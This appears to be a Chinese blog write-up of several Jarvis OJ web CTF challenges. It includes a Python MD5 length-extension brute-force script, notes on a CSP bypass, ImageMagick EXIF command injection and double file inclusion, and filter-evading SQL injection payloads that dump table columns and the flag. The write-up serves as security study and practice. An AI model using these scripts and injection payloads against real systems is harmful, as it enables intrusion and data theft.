對於這道題目, 加上我們對雜湊長度攻擊原理的理解,思路就是:我們已經知道了`$salt + ;"tseug":5:s`  對應的md5值,那我們就可以知道`$salt + ;"tseug":5:s + 補位 + 任意字串` 的MD5值,並且我們需要構造字串,使`$salt + ;"tseug":5:s + 補位 + 任意字串` 經過字元反轉再反序列化後為`admin` 。解題過程如圖:

![這裡寫圖片描述](https://img-blog.csdn.net/20180208094825418?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 

![這裡寫圖片描述](https://img-blog.csdn.net/20180208094843608?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)

這道題目中`$salt` 的長度我們是不知道的,所以應該寫一個指令碼,呼叫`hashpump`,然後傳入不同的`$salt`長度值,爆破。

(2018/10/06)
重新又做了一下這個題目…突然感覺自己的程式碼能力真的好差勁…路已經通了就是寫不出指令碼…
按我現在對md5長度擴充套件攻擊的理解,就一句話:

只要知道  salt+字串A  的md5加密值,就可以知道salt+字串A+補位+任意字串B  的md5值
中間的那些原理...emmmm...現在知道,不知道以後會不會忘掉了。

再把解題的指令碼擺一下:

import urllib
import hashpumpy
import requests
url = "http://web.jarvisoj.com:32778/"

for i in range(1,28):
    result = hashpumpy.hashpump('3a4727d57463f122833d9e732f94e4e0',';"tseug":5:s',';"nimda":5:s',i)
    data = {"Host": "web.jarvisoj.com:32778","Cache-Control": "max-age=0","Upgrade-Insecure-Requests": "1","User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","Accept-Language":"zh-CN,zh;q=0.9","Cookie":"UM_distinctid=1656bc8a44b150-0acd2220410fbd-323b5b03-144000-1656bc8a44c1ff; role=%s; hsh=%s"%(urllib.quote(result[1][::-1]),result[0]),"Connection":"close"}
    re = requests.get(url, headers = data)
    if(re.text.find("Only Admin can see the flag!!") == -1):
        print(re.text)

在這裡插入圖片描述

  • babyxss
    可能我做的時候機器人已經掛掉了…提交payload 沒有反應,就先不管了。
    在找writeup的時候,說可以利用<link> 預載入來繞過CSP ,並且這種方法只能在Chrome 下使用,Firefox 是不支援的。我在做題目的時候做了一下測試(圖一為Firefox,圖二為Chrome):

    這裡寫圖片描述

    這裡寫圖片描述

  • 圖片上傳漏洞
    http://www.vuln.cn/6152
    隔了很長時間再做這個題目…已經忘的差不多了,可見當時做的時候理解有多不透徹…重新找了一篇關於CVE-2016-3714的文章,感覺這個才是原版…
    剛開始拿到這個題目,先是嘗試了繞過各種對上傳檔案的檢測。發現只允許上傳.png檔案,php檔案是絕對不可以的,並且應該是對上傳的檔案的頭進行了檢測。嘗試使用copy \b 1.png+1.php a.png,將php檔案合成到png檔案中,可以成功上傳,但是當我們訪問上傳之後的圖片時,圖片中所包含的php程式碼是不會被執行的。繞過的路子是行不通了…

在這個過程中,也並沒有發現提交檔案時所上傳的path filetype這些引數的作用。

這道題目實際上是利用了ImageMagick模組的漏洞,當我們上傳png檔案,並利用該模組將其處理為.show檔案時,在這個過程中,會將圖片的exif label資訊直接拼接到命令列中,所以只要我們上傳一個攜帶惡意exif label資訊的png檔案,即可觸發命令注入漏洞。(需要注意必須是將png檔案處理為.show檔案,所以filetype引數的作用就在這裡體現出來了)

  • Chopper
    emmm…上一題是按照步驟做了一遍,不知道到底是我的問題還是題目的問題,出不來結果…這個題目又是…
    拿到題目,F12檢視原始碼發現,主頁顯示的圖片是通過檔案包含的方式來載入的,那猜測這個題目應該跟檔案包含相關。點選之後提示說沒有管理員許可權,抓包發現告訴了我們管理員的ip地址。
    這裡寫圖片描述

第一反應是通過改包,新增X-FORWARDED-FOR 欄位,來偽造成admin的ip,嘗試之後發現不行。再之後的思路我覺得還是有點腦洞的…得大膽地猜…
有兩層檔案包含,通過題目給的網址包含admin中的proxy.php ,再利用admin的proxy.php 包含我們想要檢視的路徑…至於為什麼admin的伺服器上有proxy.php …hhhhh,最終應該訪問的url為:http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
我訪問的時候這個頁面沒有反應…23333…

  • In A Mess
    開啟題目,在原始碼中看到有index.phps ,直接訪問檢視得到原始碼,如下。

    <?php
    
    error_reporting(0);
    echo "<!--index.phps-->";
    
    if(!$_GET['id'])
    {
    	header('Location: index.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
    	echo 'Hahahahahaha';
    	return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
    	require("flag.txt");
    }
    else
    {
    	print "work harder!harder!harder!";
    }
    
    
    ?>
    

    這一部分程式碼在bugku上也有一個一樣的題目…就是考了各種繞過。有如下知識點:

    1.數字和字串做比較時,系統會預設將字串轉換為數字(類似於使用intval函式),再進行比較,如果所給字串無法轉換成數字,則返回0(繞過$id==0和if(!$_GET['id']))
    2.eregi存在%00截斷,而substr沒有,也就是說eregi如果第一個字元是%00,那它就跳過這個再檢測。
    3.當$a為php://input時,file_get_contents支援位元組流輸入(用於繞過$data="1112 is a nice lab!")
    

最終繞過payload 如下:
這裡寫圖片描述

我還以為到這裡就結束了...雖然這個壓根就不像`flag` 。提交之後發現不對,就訪問了這個地址(看起來像個資料夾),得到如圖:

![這裡寫圖片描述](https://img-blog.csdn.net/20180308165055186?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl0dGxlbGl0dGxlYmFp/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)

看到url中有id引數,第一反應是可能存在sql注入,測試之後發現確實是這樣。

並且,後臺過濾了union ,select ,空格,前兩個通過重寫ununionion selselectect 來繞過,空格通過/*1*/ 來繞過…這個我剛開始是用括號來繞過空格,我是採用盲注來做的…emmm…很煩…在做的過程中也嘗試了通過/**/ 來繞過空格,無奈…這個是被過濾的…所以 也沒再想還有/*1*/ 這種繞過的可能性。還有在資料庫中用十六進位制代替字串的這種做法…明明昨天才又看過,今天卻想不起來…

整個做法如下:

```
id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,1,group_concat(column_name)frfromom/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74 (得到列名)
id=-1/*1*/uniunionon/*1*/selselectect/*1*/1,1,context/*1*/frfromom/*1*/content(得到flag)
```
  • register
    emmmm…剩下的最後一道題目了…都看了很久了,自己想不出來,今天終於找到了writeup…慚愧慚愧…

    雖然已經告訴了country 是二次注入點…但是注入在countrysql 語句,執行的結果會在哪裡顯示出來…我一直感覺不需要用country 來作為查詢的約束條件,所以就更想不明白到底是怎麼通過country 來注入的…

    測試了country1 ,或者為' ,最終顯示出來的是DC1 \' …emmm…應該是輸入到資料庫中的內容是正常內容,但是在顯示出來的時候做了一些處理…這一點在做的時候讓我很疑惑。題目對usernamecountry 的處理不太一樣…

    正確的思路是:頁面中的date 會根據country 來顯示,也就是說會存在使用country作為約束條件的查詢語句。通過對date 的判斷,來進行盲注。

    emmm…這裡有兩篇writeup…我就不貼自己的程式碼了…長的也都差不多。我剛開始就挨個字元來判斷的…沒有采用二分法…執行了才知道為什麼要用二分法…對於這個題目,要一直重新整理網頁,註冊,登陸,挨個字元去判斷效率太低…